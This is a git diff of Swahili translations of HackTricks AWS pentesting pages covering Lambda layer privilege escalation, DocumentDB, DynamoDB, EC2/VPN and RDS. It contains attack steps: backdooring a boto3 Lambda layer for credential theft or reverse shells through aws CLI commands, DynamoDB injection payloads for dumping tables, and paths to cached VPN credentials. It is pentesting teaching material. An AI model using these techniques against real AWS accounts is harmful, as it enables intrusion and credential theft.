+https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE kupitia Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) inaruhusu kujumuisha **code** katika kazi yako ya lamdba lakini **kuhifadhi kwa tofauti**, hivyo code ya kazi inaweza kubaki ndogo na **kazi kadhaa zinaweza kushiriki code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) inaruhusu kujumuisha **code** katika kazi yako ya lamdba lakini **kuhifadhi kwa tofauti**, hivyo msimbo wa kazi unaweza kubaki mdogo na **kazi kadhaa zinaweza kushiriki msimbo**.
-Ndani ya lambda unaweza kuangalia njia kutoka ambapo code ya python inapakuliwa kwa kazi kama ifuatayo:
+Ndani ya lambda unaweza kuangalia njia ambazo msimbo wa python unaloadiwa kwa kutumia kazi kama ifuatavyo:
```python
import json
import sys
@@ -202,7 +202,7 @@ Kwa mfano, maktaba boto3 inapakuliwa kutoka `/var/runtime/boto3` (nafasi ya 4).
#### Ukatili
-Inawezekana kutumia ruhusa `lambda:UpdateFunctionConfiguration` ili **kuongeza safu mpya** kwa kazi ya lambda. Ili kutekeleza msimbo wowote, safu hii inahitaji kuwa na **maktaba ambayo lambda itakuwa inaiagiza.** Ikiwa unaweza kusoma msimbo wa lambda, unaweza kuipata hii kwa urahisi, pia kumbuka kwamba inaweza kuwa inawezekana kwamba lambda **tayari inatumia safu** na unaweza **kupakua** safu hiyo na **kuongeza msimbo wako** humo.
+Inawezekana kutumia ruhusa `lambda:UpdateFunctionConfiguration` ili **kuongeza safu mpya** kwenye kazi ya lambda. Ili kutekeleza msimbo wowote, safu hii inahitaji kuwa na **maktaba ambayo lambda itakuwa inaiagiza.** Ikiwa unaweza kusoma msimbo wa lambda, unaweza kuipata hii kwa urahisi, pia kumbuka kwamba inaweza kuwa inawezekana kwamba lambda **tayari inatumia safu** na unaweza **kupakua** safu hiyo na **kuongeza msimbo wako** humo.
Kwa mfano, hebu tuwe na dhana kwamba lambda inatumia maktaba boto3, hii itaunda safu ya ndani na toleo la mwisho la maktaba:
```bash
@@ -210,8 +210,8 @@ pip3 install -t ./lambda_layer boto3
```
Unaweza kufungua `./lambda_layer/boto3/__init__.py` na **kuongeza backdoor katika msimbo wa kimataifa** (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano).
-Kisha, zipa hiyo `./lambda_layer` directory na **pakia layer mpya ya lambda** katika akaunti yako mwenyewe (au katika ya waathirika, lakini huenda usiwe na ruhusa kwa hili).\
-Kumbuka kwamba unahitaji kuunda folda ya python na kuweka maktaba ndani yake ili kubadilisha /opt/python/boto3. Pia, layer inahitaji kuwa **inasadifu na toleo la python** linalotumika na lambda na ikiwa unalipakia kwenye akaunti yako, inahitaji kuwa katika **eneo lile lile:**
+Kisha, zipa hiyo `./lambda_layer` directory na **pakia layer mpya ya lambda** katika akaunti yako (au katika ya waathirika, lakini huenda usiwe na ruhusa kwa hili).\
+Kumbuka kwamba unahitaji kuunda folda ya python na kuweka maktaba ndani yake ili kubadilisha /opt/python/boto3. Pia, layer inahitaji kuwa **inasadifu na toleo la python** linalotumika na lambda na ikiwa unaiweka kwenye akaunti yako, inahitaji kuwa katika **eneo lile lile:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,7 +228,7 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-Hatua inayofuata itakuwa **kuitisha kazi** sisi wenyewe ikiwa tunaweza au kusubiri hadi **itakapoitishwa** kwa njia za kawaida - ambayo ni njia salama zaidi.
+Hatua inayofuata itakuwa **kuitisha kazi** sisi wenyewe ikiwa tunaweza au kusubiri hadi **itakapotishwa** kwa njia za kawaida - ambayo ni njia salama zaidi.
Njia **ya siri zaidi ya kutumia udhaifu huu** inaweza kupatikana katika:
@@ -250,7 +250,7 @@ Baadhi ya lambdas zitakuwa **zinapokea taarifa nyeti kutoka kwa watumiaji katika
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-## Marejeleo
+## Marejeo
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index b12b03897..40118c935 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -4,7 +4,7 @@
## DocumentDB
-Amazon DocumentDB, inayotoa ulinganifu na MongoDB, inawasilishwa kama **huduma ya hifadhidata ya haraka, ya kuaminika, na inayosimamiwa kikamilifu**. Imeundwa kwa urahisi katika kutekeleza, kufanya kazi, na kupanuka, inaruhusu **uhamishaji na uendeshaji usio na mshono wa hifadhidata zinazolingana na MongoDB katika wingu**. Watumiaji wanaweza kutumia huduma hii kutekeleza msimbo wao wa programu uliopo na kutumia madereva na zana zinazofahamika, kuhakikisha mpito na uendeshaji laini kama kufanya kazi na MongoDB.
+Amazon DocumentDB, inayotoa ulinganifu na MongoDB, inawasilishwa kama **huduma ya hifadhidata ya haraka, ya kuaminika, na inayosimamiwa kikamilifu**. Imeundwa kwa urahisi katika usakinishaji, uendeshaji, na upanuzi, inaruhusu **uhamishaji na uendeshaji usio na mshono wa hifadhidata zinazolingana na MongoDB katika wingu**. Watumiaji wanaweza kutumia huduma hii kutekeleza msimbo wao wa programu uliopo na kutumia madereva na zana zinazofahamika, kuhakikisha mpito na uendeshaji laini kama kufanya kazi na MongoDB.
### Enumeration
```bash
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
Kwa kuwa DocumentDB ni hifadhidata inayofanana na MongoDB, unaweza kufikiria kwamba pia ina udhaifu kwa mashambulizi ya kawaida ya NoSQL injection:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### DocumentDB
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index 1145779c7..ff06e0b3d 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -6,13 +6,13 @@
### Basic Information
-Amazon DynamoDB inawasilishwa na AWS kama **hifadhidata ya NoSQL ya funguo-thamani isiyo na seva, inayosimamiwa kikamilifu**, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, uzalishaji wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data.
+Amazon DynamoDB inatolewa na AWS kama **hifadhidata ya NoSQL isiyo na seva, inayosimamiwa kikamilifu, ya funguo-thamani**, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, urekebishaji wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data.
Katika muktadha wa DynamoDB, badala ya kuunda hifadhidata ya jadi, **meza zinaanzishwa**. Kila meza inahitaji ufafanuzi wa **funguo ya sehemu** kama sehemu muhimu ya **funguo ya msingi ya meza**. Funguo hii ya sehemu, ambayo kimsingi ni **thamani ya hash**, ina jukumu muhimu katika upatikanaji wa vitu na usambazaji wa data kati ya wenyeji mbalimbali. Usambazaji huu ni muhimu kwa kudumisha upanuzi na upatikanaji wa hifadhidata. Aidha, kuna chaguo la kuingiza **funguo ya kupanga** ili kuboresha zaidi shirika la data.
### Encryption
-Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo **inamilikiwa na Amazon DynamoDB,** hata si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako.
+Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo **inamilikiwa na Amazon DynamoDB,** si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako.
@@ -20,7 +20,7 @@ Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo **inamilikiwa na Amazon Dyna
Inawezekana **kuandaa** uzalishaji wa **nakala za meza** au kuziunda kwa **ombwe**. Aidha, inawezekana pia kuwezesha **Urejeleaji wa wakati (PITR) kwa meza.** Urejeleaji wa wakati unatoa **nakala** za data zako za DynamoDB kwa **siku 35** ili kusaidia kulinda dhidi ya shughuli za kuandika au kufuta zisizokusudiwa.
-Pia inawezekana kusafirisha **data ya meza kwenda S3**, lakini meza inahitaji kuwa na **PITR iliyoanzishwa**.
+Pia inawezekana kusafirisha **data ya meza kwenda S3**, lakini meza inahitaji kuwa na **PITR imewezeshwa**.
### GUI
@@ -53,7 +53,7 @@ aws dynamodb describe-export --export-arn
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
```
-### Upatikanaji Usioidhinishwa
+### Upatikanaji Usio na Uthibitisho
{{#ref}}
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
@@ -81,15 +81,15 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
### SQL Injection
-Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinaweza kutokea**.
+Kuna njia za kufikia data za DynamoDB kwa kutumia **SQL syntax**, hivyo basi, **SQL injections za kawaida pia zinaweza kutokea**.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### NoSQL Injection
-Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana **kuunganisha masharti zaidi ili kupata** data unaweza kupata data iliyofichwa (au kupakua jedwali zima).\
+Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana **kuunganisha masharti zaidi ili kupata** data unaweza kupata data iliyofichwa (au kupakua jedwali lote).\
Unaweza kupata hapa masharti yanayoungwa mkono na DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Kumbuka kwamba **masharti tofauti** yanayoungwa mkono ikiwa data inafikiwa kupitia **`query`** au kupitia **`scan`**.
@@ -105,15 +105,15 @@ Ikiwa unaweza **kubadilisha kulinganisha** kunakofanywa au kuongeza mpya, unawez
"GT": " " #All strings are greater than a space
```
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Uingizaji wa Raw Json
> [!CAUTION]
-> **Udhaifu huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!**
+> **Uthibitisho huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!**
-**DynamoDB** inakubali **Json** vitu kutafuta data ndani ya DB. Ikiwa unapata kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya dump ya DB, maudhui yote.
+**DynamoDB** inakubali **Json** vitu kutafuta data ndani ya DB. Ikiwa utagundua kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya DB dump, maudhui yote.
Kwa mfano, kuingiza katika ombi kama:
```bash
@@ -123,7 +123,7 @@ mshambuliaji anaweza kuingiza kitu kama:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
-rekebisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni yote.
+sahihisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni zote.
Mfano mwingine **ulio hatarini ukitumia kuingia** unaweza kuwa:
```python
@@ -141,7 +141,7 @@ scan_filter = """{
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
```
-Hii itakuwa na hatari ya:
+Hii itakuwa hatarini kwa:
```
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
@@ -152,7 +152,7 @@ Baadhi ya SDKs zinaruhusu kutumia mfuatano unaoashiria uchujaji utakaofanywa kam
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
-Unahitaji kujua kwamba kutafuta katika DynamoDB kwa **kubadilisha** thamani ya **sifa** katika **maelezo ya filtr** wakati wa kusoma vitu, alama zinapaswa **kuanza** na herufi ya **`:`**. Alama hizo zitabadilishwa na **thamani halisi ya sifa wakati wa wakati wa kutekeleza**.
+Unahitaji kujua kwamba kutafuta katika DynamoDB kwa **kubadilisha** thamani ya **sifa** katika **maelezo ya filtr** wakati wa kusoma vitu, tokeni zinapaswa **kuanza** na tabia ya **`:`**. Tokeni hizo zitabadilishwa na thamani halisi ya **sifa wakati wa wakati wa kutekeleza**.
Hivyo, kuingia kama ile ya awali inaweza kupuuziliwa mbali kwa kitu kama:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index 6d852a9a3..935a98f87 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -12,33 +12,33 @@ aws-vpc-and-networking-basic-information.md
## EC2
-Amazon EC2 inatumika kwa kuanzisha **seva za virtual**. Inaruhusu usanidi wa **usalama** na **mtandao** na usimamizi wa **hifadhi**. Uwezo wa Amazon EC2 unaonekana katika uwezo wake wa kupanua rasilimali kwa juu na chini, ikibadilika kwa ufanisi na mabadiliko ya mahitaji au ongezeko la umaarufu. Kipengele hiki kinapunguza hitaji la makadirio sahihi ya trafiki.
+Amazon EC2 inatumika kwa kuanzisha **virtual servers**. Inaruhusu usanidi wa **security** na **networking** na usimamizi wa **storage**. Uwezo wa Amazon EC2 kuweza kupanua rasilimali kwa juu na chini unaonekana katika uwezo wake wa kubadilika kulingana na mabadiliko ya mahitaji au ongezeko la umaarufu. Kipengele hiki kinapunguza hitaji la utabiri sahihi wa trafiki.
Mambo ya kuvutia kuhesabu katika EC2:
-- Mashine za Virtual
-- Funguo za SSH
-- Takwimu za Mtumiaji
-- EC2/AMIs/Snapshots zilizopo
-- Mtandao
-- Mitandao
-- Mitandao ndogo
-- IP za Umma
-- Porti za wazi
-- Mifumo ya kuunganishwa na mitandao mingine nje ya AWS
+- Virtual Machines
+- SSH Keys
+- User Data
+- Existing EC2s/AMIs/Snapshots
+- Networking
+- Networks
+- Subnetworks
+- Public IPs
+- Open ports
+- Integrated connections with other networks outside AWS
-### Profaili za Kigezo
+### Instance Profiles
-Kutumia **majukumu** kutoa ruhusa kwa programu zinazotembea kwenye **EC2 instances** kunahitaji usanidi wa ziada kidogo. Programu inayotembea kwenye EC2 instance inatengwa kutoka AWS na mfumo wa uendeshaji wa virtualized. Kwa sababu ya kutengwa kwa ziada, unahitaji hatua ya ziada kutoa jukumu la AWS na ruhusa zake zinazohusiana kwa EC2 instance na kuzipatia programu zake.
+Kutumia **roles** kutoa ruhusa kwa programu zinazotembea kwenye **EC2 instances** kunahitaji usanidi wa ziada kidogo. Programu inayotembea kwenye EC2 instance imejificha kutoka AWS na mfumo wa uendeshaji wa virtualized. Kwa sababu ya kutengwa kwa ziada, unahitaji hatua ya ziada kutoa AWS role na ruhusa zake zinazohusiana kwa EC2 instance na kuzifanya zipatikane kwa programu zake.
-Hatua hii ya ziada ni **kuunda** [_**profaili ya kigezo**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) iliyounganishwa na instance. **Profaili ya kigezo ina jukumu na** inaweza kutoa akreditivu za muda za jukumu kwa programu inayotembea kwenye instance. Akreditivu hizo za muda zinaweza kutumika katika wito wa API wa programu kupata rasilimali na kupunguza ufikiaji kwa rasilimali hizo pekee ambazo jukumu linakagua. Kumbuka kwamba **jukumu moja tu linaweza kutolewa kwa EC2 instance** kwa wakati mmoja, na programu zote kwenye instance zinashiriki jukumu na ruhusa sawa.
+Hatua hii ya ziada ni **kuunda** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) iliyounganishwa na instance. **Instance profile ina role na** inaweza kutoa akreditif za muda za role kwa programu inayotembea kwenye instance. Akreditif hizo za muda zinaweza kutumika katika wito wa API wa programu ili kufikia rasilimali na kupunguza ufikiaji kwa rasilimali hizo pekee ambazo role inazielekeza. Kumbuka kwamba **role moja tu inaweza kutolewa kwa EC2 instance** kwa wakati mmoja, na programu zote kwenye instance zinashiriki role na ruhusa sawa.
### Metadata Endpoint
-AWS EC2 metadata ni taarifa kuhusu Amazon Elastic Compute Cloud (EC2) instance ambayo inapatikana kwa instance wakati wa utendaji. Metadata hii inatumika kutoa taarifa kuhusu instance, kama vile kitambulisho chake cha instance, eneo la upatikanaji ambalo linafanya kazi, jukumu la IAM lililohusishwa na instance, na jina la mwenyeji wa instance.
+AWS EC2 metadata ni taarifa kuhusu Amazon Elastic Compute Cloud (EC2) instance ambayo inapatikana kwa instance wakati wa utendaji. Metadata hii inatumika kutoa taarifa kuhusu instance, kama vile ID ya instance, eneo la upatikanaji inayoendesha, IAM role inayohusiana na instance, na jina la mwenyeji wa instance.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Enumeration
@@ -151,11 +151,11 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za EC2 kuonge
Amazon **EBS** (Elastic Block Store) **snapshots** kimsingi ni **backup** za kudumu za volumes za AWS EBS. Kwa maneno mengine, ni **nakala** za **diski** zilizounganishwa na **EC2** Instance katika wakati maalum. EBS snapshots zinaweza kunakiliwa kati ya mikoa na akaunti, au hata kupakuliwa na kuendesha kwa ndani.
-Snapshots zinaweza kuwa na **habari nyeti** kama vile **msimbo wa chanzo au funguo za API**, kwa hivyo, ikiwa una nafasi, inapendekezwa kuangalia.
+Snapshots zinaweza kuwa na **taarifa nyeti** kama vile **msimbo wa chanzo au funguo za API**, kwa hivyo, ikiwa una nafasi, inapendekezwa kuangalia.
-### Tofauti kati ya AMI na EBS
+### Tofauti AMI & EBS
-**AMI** inatumika ku **anzisha EC2 instance**, wakati **Snapshot** ya EC2 inatumika ku **backup na kurejesha data iliyohifadhiwa kwenye EBS volume**. Ingawa Snapshot ya EC2 inaweza kutumika kuunda AMI mpya, si sawa na AMI, na haijumuishi habari kuhusu mfumo wa uendeshaji, seva ya programu, au programu nyingine zinazohitajika kuendesha programu.
+**AMI** inatumika ku **anzisha EC2 instance**, wakati **Snapshot** ya EC2 inatumika ku **backup na kurejesha data iliyohifadhiwa kwenye EBS volume**. Ingawa Snapshot ya EC2 inaweza kutumika kuunda AMI mpya, si sawa na AMI, na haijumuishi taarifa kuhusu mfumo wa uendeshaji, seva ya programu, au programu nyingine zinazohitajika kuendesha programu.
### Privesc
@@ -188,7 +188,7 @@ ps aux | grep amazon-ssm
```
### Privesc
-Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za SSM ili kupandisha hadhi**:
+Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za SSM ili kupandisha mamlaka**:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
@@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers
```
## Nitro
-AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu na chuma tupu**, na kufanya iwe na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake.
+AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu na vifaa halisi**, na kufanya iwe na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake.
Pata maelezo zaidi na jinsi ya kuhesabu kutoka:
@@ -250,13 +250,13 @@ VPN inaruhusu kuunganisha **mtandao wako wa ndani (site-to-site VPN)** au **komp
2. **Virtual Private Gateway**:
- Virtual Private Gateway (VPG) ni mkusanyiko wa VPN upande wa Amazon wa muunganisho wa Site-to-Site VPN.
- Inashikamana na VPC yako na inatumika kama lengo la muunganisho wako wa VPN.
-- VPG ni mwisho wa AWS kwa muunganisho wa VPN.
+- VPG ni mwisho wa upande wa AWS kwa muunganisho wa VPN.
- Inasimamia mawasiliano salama kati ya VPC yako na mtandao wako wa ndani.
3. **Site-to-Site VPN Connection**:
-- Muunganisho wa Site-to-Site VPN unachanganya mtandao wako wa ndani na VPC kupitia tunnel salama ya IPsec VPN.
+- Muunganisho wa Site-to-Site VPN unachanganya mtandao wako wa ndani na VPC kupitia handaki salama ya IPsec VPN.
- Aina hii ya muunganisho inahitaji Customer Gateway na Virtual Private Gateway.
- Inatumika kwa mawasiliano salama, thabiti, na ya kawaida kati ya kituo chako cha data au mtandao na mazingira yako ya AWS.
-- Kawaida inatumika kwa muunganisho wa kawaida, wa muda mrefu na inatozwa kulingana na kiasi cha data kinachohamishwa kupitia muunganisho.
+- Kawaida hutumiwa kwa muunganisho wa kawaida, wa muda mrefu na inatozwa kulingana na kiasi cha data kinachohamishwa kupitia muunganisho.
4. **Client VPN Endpoint**:
- Client VPN endpoint ni rasilimali unayounda katika AWS ili kuwezesha na kusimamia vikao vya VPN vya wateja.
- Inatumika kuruhusu vifaa binafsi (kama vile kompyuta za mkononi, simu za mkononi, nk.) kuungana kwa usalama na rasilimali za AWS au mtandao wako wa ndani.
@@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections
**Local Temporary Credentials**
-Wakati mteja wa AWS VPN anapotumika kuungana na VPN, mtumiaji kwa kawaida **anajiandikisha katika AWS** ili kupata ufikiaji wa VPN. Kisha, baadhi ya **AWS credentials zinaundwa na kuhifadhiwa** kwa ndani ili kuanzisha muunganisho wa VPN. Hizi credentials **zinahifadhiwa katika** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` na zina **AccessKey**, **SecretKey** na **Token**.
+Wakati mteja wa AWS VPN anapotumika kuungana na VPN, mtumiaji kwa kawaida **anaingia katika AWS** ili kupata ufikiaji wa VPN. Kisha, baadhi ya **akikazi za AWS zinaundwa na kuhifadhiwa** kwa ndani ili kuanzisha muunganisho wa VPN. Akikazi hizi **zinahifadhiwa katika** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` na zina **AccessKey**, **SecretKey** na **Token**.
-Credentials hizo ni za mtumiaji `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: tafiti zaidi kuhusu ruhusa za credentials hizi).
+Akikazi zinamhusu mtumiaji `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: tafiti zaidi kuhusu ruhusa za akazi hizi).
**opvn config files**
-Ikiwa **muunganisho wa VPN umeanzishwa** unapaswa kutafuta **`.opvn`** config files katika mfumo. Zaidi ya hayo, mahali ambapo unaweza kupata **configurations** ni katika **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
+Ikiwa **muunganisho wa VPN umeanzishwa** unapaswa kutafuta **faili za config `.opvn`** katika mfumo. Zaidi ya hayo, mahali ambapo unaweza kupata **mipangilio** ni katika **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **Post Exploitaiton**
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index 3a556a8e7..3ee33df4a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -4,7 +4,7 @@
## Basic Information
-Huduma ya **Relational Database Service (RDS)** inayotolewa na AWS imeundwa kuboresha uwekaji, uendeshaji, na upanuzi wa **database ya uhusiano katika wingu**. Huduma hii inatoa faida za ufanisi wa gharama na upanuzi huku ikitengeneza kazi zinazohitaji nguvu kama vile ugawaji wa vifaa, usanidi wa database, urekebishaji, na nakala za akiba.
+Huduma ya **Relational Database Service (RDS)** inayotolewa na AWS imeundwa kuboresha uwekaji, uendeshaji, na kupanua **database ya uhusiano katika wingu**. Huduma hii inatoa faida za ufanisi wa gharama na kupanuka huku ikitengeneza kazi zinazohitaji nguvu kama vile ugawaji wa vifaa, usanidi wa database, urekebishaji, na nakala za akiba.
AWS RDS inasaidia injini mbalimbali maarufu za database za uhusiano ikiwa ni pamoja na MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, na Amazon Aurora, ikiwa na ufanisi kwa MySQL na PostgreSQL.
@@ -12,7 +12,7 @@ Vipengele muhimu vya RDS ni pamoja na:
- **Usimamizi wa mifano ya database** umewekwa rahisi.
- Uundaji wa **read replicas** ili kuboresha utendaji wa kusoma.
-- Usanidi wa **multi-Availability Zone (AZ) deployments** ili kuhakikisha upatikanaji wa juu na mifumo ya kuhamasisha.
+- Usanidi wa **multi-Availability Zone (AZ) deployments** ili kuhakikisha upatikanaji wa juu na mifumo ya kufeli.
- **Ushirikiano** na huduma nyingine za AWS, kama:
- AWS Identity and Access Management (**IAM**) kwa udhibiti wa ufikiaji wenye nguvu.
- AWS **CloudWatch** kwa ufuatiliaji na vipimo vya kina.
@@ -22,8 +22,8 @@ Vipengele muhimu vya RDS ni pamoja na:
Wakati wa kuunda klasta ya DB jina la **mtumiaji mkuu** linaweza kuwekewa usanidi (**`admin`** kwa chaguo-msingi). Ili kuunda nenosiri la mtumiaji huyu unaweza:
-- **Onyesha** nenosiri **mwenyewe**
-- Mwambie RDS **kuunda moja kiotomatiki**
+- **Kueleza** nenosiri **mwenyewe**
+- Mwambie RDS **kuunda** kiotomatiki
- Mwambie RDS kusimamia katika **AWS Secret Manager** iliyosimbwa kwa ufunguo wa KMS
@@ -38,13 +38,13 @@ Kuna aina 3 za chaguo za uthibitishaji, lakini kutumia **nenosiri la mkuu daima
Kwa chaguo-msingi **hakuna ufikiaji wa umma unaotolewa** kwa databases, hata hivyo inaweza **kutolewa**. Hivyo, kwa chaguo-msingi mashine tu kutoka VPC hiyo hiyo zitakuwa na uwezo wa kuifikia ikiwa **kikundi cha usalama** kilichochaguliwa (kimehifadhiwa katika EC2 SG) kinaruhusu.
-Badala ya kufichua mfano wa DB, inawezekana kuunda **RDS Proxy** ambayo **inaimarisha** **upanuzi** & **upatikanaji** wa klasta ya DB.
+Badala ya kufichua mfano wa DB, inawezekana kuunda **RDS Proxy** ambayo **inaimarisha** **kupanuka** & **upatikanaji** wa klasta ya DB.
Zaidi ya hayo, **bandari ya database inaweza kubadilishwa** pia.
### Encryption
-**Usimbaji fiche umewezeshwa kwa chaguo-msingi** kwa kutumia ufunguo unaosimamiwa na AWS (ufunguo wa CMK unaweza kuchaguliwa badala yake).
+**Usimbaji fiche umewezeshwa kwa chaguo-msingi** kwa kutumia ufunguo unaosimamiwa na AWS (CMK inaweza kuchaguliwa badala yake).
